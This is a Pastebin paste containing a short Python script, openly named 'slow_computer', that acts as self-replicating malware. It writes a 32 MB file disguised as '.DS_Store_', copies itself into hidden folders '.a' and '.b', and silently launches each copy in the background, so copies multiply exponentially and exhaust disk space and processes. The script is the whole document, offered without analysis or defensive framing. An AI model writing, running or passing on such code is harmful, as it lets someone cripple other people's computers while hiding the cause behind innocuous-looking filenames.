Guest User

Untitled

a guest
Nov 18th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import os
  4. from sys import argv
  5. from subprocess import Popen
  6.  
  7. def create_file(hidden, n):
  8. with open(hidden, 'wb') as f:
  9. f.seek(n-1)
  10. f.write(b'\x00')
  11.  
  12. def self_replicate(prog, a, b):
  13. dest = './'+a+'/'+prog
  14. os.system('mkdir '+a+' </dev/null >/dev/null 2>&1')
  15. os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
  16. dest = './'+b+'/'+prog
  17. os.system('mkdir '+b+' </dev/null >/dev/null 2>&1')
  18. os.system('cp '+prog+' '+dest+' </dev/null >/dev/null 2>&1')
  19.  
  20. def execute_replicas(prog, a, b):
  21. Popen(['cd '+a+'/'+' ; '+'nohup python '+prog
  22. +' </dev/null >/dev/null 2>&1 &'], shell=True)
  23. Popen(['cd '+b+'/'+' ; '+'nohup python '+prog
  24. +' </dev/null >/dev/null 2>&1 &'], shell=True)
  25.  
  26. def slow_computer(prog, hidden, n, a, b):
  27. create_file(hidden, n)
  28. self_replicate(prog, a, b)
  29. execute_replicas(prog, a, b)
  30.  
  31. if __name__ == '__main__':
  32. slow_computer(argv[0], '.DS_Store_', 2**25, '.a', '.b')
Add Comment
Please, Sign In to add comment